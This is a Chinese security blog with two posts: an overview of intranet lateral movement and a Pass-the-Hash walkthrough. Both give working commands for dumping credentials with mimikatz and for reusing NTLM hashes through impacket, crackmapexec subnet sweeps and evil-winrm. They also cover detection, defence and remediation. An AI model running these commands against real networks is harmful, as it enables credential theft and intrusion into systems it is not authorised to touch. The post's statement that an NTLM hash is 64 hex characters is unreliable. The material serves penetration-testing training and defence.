Pass-the-Hash on SoulJian小站

内网横向移动技术全景

Sat, 29 Aug 2026 21:50:00 +0800

写在前面：合法学习边界

横向移动只允许在授权内网进行。对非授权主机横向、抓凭据可能触犯法律。

一、横向移动的本质

拿到一台主机后，用它的身份/凭据去“串”到内网其他主机，扩大控制面。

1
2
3
4


关键三要素：
1. 有凭据（明文/哈希/票据/Token）
2. 目标开放对应服务（445/5985/3389/22…）
3. 目标账号有权限

二、横向移动的凭据来源

1
2
3
4
5


内存抓取：mimikatz sekurlsa::logonpasswords
哈希：NTLM 哈希（PtH）
票据：Kerberos 票据（PtT / 黄金/白银票据）
明文：WDigest、内存缓存、配置文件
账号密码：弱口令爆破

三、横向技术矩阵

1. SMB 横向（最常用）

1
2
3
4
5
6
7
8


# impacket（Linux 侧）
psexec.py DOMAIN/user@ip -hashes :<ntlm> # 交互 Shell
# 解释：通过 SMB 服务创建一个远程会话，-hashes 直接传 NTLM 哈希，无需明文密码
smbexec.py DOMAIN/user@ip -hashes :<ntlm> # 无盘 Shell
# 解释：不走磁盘，通过 SMB 在内存中执行，更隐蔽
crackmapexec smb 网段 -u user -H <hash> # 批量探测
# 解释：对网段批量测试哪些机器能用该哈希登录，[+] 即成功
# 工具：PsExec、CrackMapExec、Impacket

2. WMI 横向

1
2
3


wmiexec.py DOMAIN/user@ip -hashes :<ntlm> # 更隐蔽
# 解释：通过 WMI 远程执行命令，不落地文件，日志更少
# 特点：不落地文件，走 WMI 远程执行

3. WinRM 横向

1
2
3


evil-winrm -i ip -u user -H <ntlm> # 交互 Shell
# 解释：通过 WinRM(5985) 拿到交互 shell，适合支持 WinRM 的主机
# 前提：目标开启 WinRM（5985/5986）

4. RDP 横向

1
2


拿到账号密码/哈希直接远程桌面
注意：RDP 留登录痕迹，动静大

5. SSH 横向（Linux 内网）

1
2


ssh user@ip
# 复用已抓到的 SSH 私钥/口令

6. 计划任务 / 服务

1
2


创建远程计划任务执行命令
远程创建服务（binPath 指向恶意程序）

7. 其他

1
2
3


数据库横向（MSSQL xp_cmdshell / Redis）
Web 应用横向（利用内网 Web 漏洞）
代理 + 隧道（先打通网络再横向）

横向操作步骤

1
2
3
4
5
6


第 1 步：在已控主机抓凭据（mimikatz sekurlsa::logonpasswords）
第 2 步：确认网段与目标（存活探测 + 端口 445/5985/3389）
第 3 步：用 CrackMapExec 批量验证哈希/口令可用性
第 4 步：按服务选工具横向（SMB→psexec、WMI→wmiexec、WinRM→evil-winrm）
第 5 步：横向后在新主机再抓凭据，向域控/核心推进
第 6 步：全程记录，避免破坏业务

四、横向工具汇总

1
2
3
4
5
6


Impacket（psexec/wmiexec/smbexec）
CrackMapExec（批量横向）
evil-winrm
mimikatz（抓凭据）
Cobalt Strike 的 psexec_psh/wmi 模块
fscan（内网批量发现+利用）

五、检测

1
2
3
4
5


同一账号多主机登录（4624/4625 异常）
LSASS 被读取（mimikatz）
SMB/WMI/WinRM 横向扫描特征
计划任务/服务批量创建
异常 NTLM 登录、票据使用

六、防御

1
2
3
4
5


LAPS 防本地管理员密码复用
Credential Guard 隔离凭据
账号分离（域管不登普通机）
最小开放端口，网络分段
EDR 检测横向行为

七、修复（事件后）

1
2
3
4


重置受影响账号密码
清理会话/票据/后门
补齐补丁、收敛暴露面
复测横向路径是否还存在

八、小结

横向移动 = “凭据 + 可达服务 + 权限”。先抓凭据（mimikatz），再用 CrackMapExec/impacket 批量试，是主流打法。防守核心是防凭据泄露（LAPS/Credential Guard）+ 控横向通道（分段/EDR）。

内网横向移动：Pass-the-Hash 实战

Sat, 29 Aug 2026 11:40:00 +0800

写在前面：合法学习边界

Pass-the-Hash 是在目标机器上抓取凭据并横向登录。只能在授权内网靶场进行，禁止在非授权环境使用。

一、漏洞原理

Windows 的 NTLM 认证本质上是拿“密码的哈希”做验证，不需要明文密码。攻击者拿到用户的 NTLM 哈希后，就能以该用户身份登录其他机器。

1
2


有哈希 = 可以认证
哈希不一定要先破解成明文

这不是“破解”，而是“直接用哈希当凭据”，所以叫 Pass-the-Hash。

前提条件：

1
2
3


拿到了某账号的 NTLM 哈希
目标机器 445(SMB) 开放
账号对目标有本地管理员或域管权限

二、影响与危害

1
2
3


横向移动：一台机器沦陷 → 全内网批量沦陷
权限提升：普通机器 → 域控
清除痕迹前可能已被广泛利用

风险等级：高。管理密码复用越严重，影响面越大——一个管理员哈希可能覆盖内网一半以上 Windows。

三、利用 / 复现

第一步：拿到哈希

在已拿下的机器上抓凭据：

1
2
3


mimikatz
privilege::debug
sekurlsa::logonpasswords

输出里 NTLM : <64位hex> 就是目标哈希。

其他途径：

1
2
3


SAM 文件离线提取
LSASS 内存 dump
域控 NTDS.dit

第二步：用哈希横向登录

Linux 侧 impacket：

1
2
3
4
5


# 有交互 Shell（SMB 服务）
psexec.py 'DOMAIN/user@192.168.1.20' -hashes :<NTLM哈希>

# 更隐蔽，走 WMI
wmiexec.py 'DOMAIN/user@192.168.1.20' -hashes :<NTLM哈希>

批量找“哪些机器能用这个哈希登录”：

1

crackmapexec smb 192.168.1.0/24 -u administrator -H <NTLM哈希>

[+] 标记的机器即成功，可加 -x whoami 远程执行命令。

Windows 侧：

1
2


mimikatz
sekurlsa::pth /user:administrator /domain:xx /ntlm:<NTLM哈希>

结果验证

1
2


登录成功、拿到 Shell
crackmapexec 标记 [+]

四、检测

1
2
3
4


同一账号从多台主机同时登录（来源异常）
LSASS 被读取（mimikatz 特征）
大量 4624/4625 登录事件、异常 NTLM 登录
SMB 横向扫描流量特征

五、防御

1
2
3
4


启用 Credential Guard，隔离 LSASS 凭据
开启 LAPS，避免本地管理员密码复用
限制管理员账号横向使用
账号分离：域管账号不登录普通机器

六、修复

1
2
3
4
5


对已泄露的哈希：立即重置相关账号密码
强制全内网管理员密码轮换
清理 LSASS 中残留明文凭据
补装补丁，修复可提取凭据的漏洞
复测：确认旧哈希不再能登录其他机器

七、小结

PtH 之所以“有哈希就能横着走”，是因为 NTLM 协议本就用哈希做凭据。防御核心是 Credential Guard + LAPS + 账号分离 + 监控异常横向登录。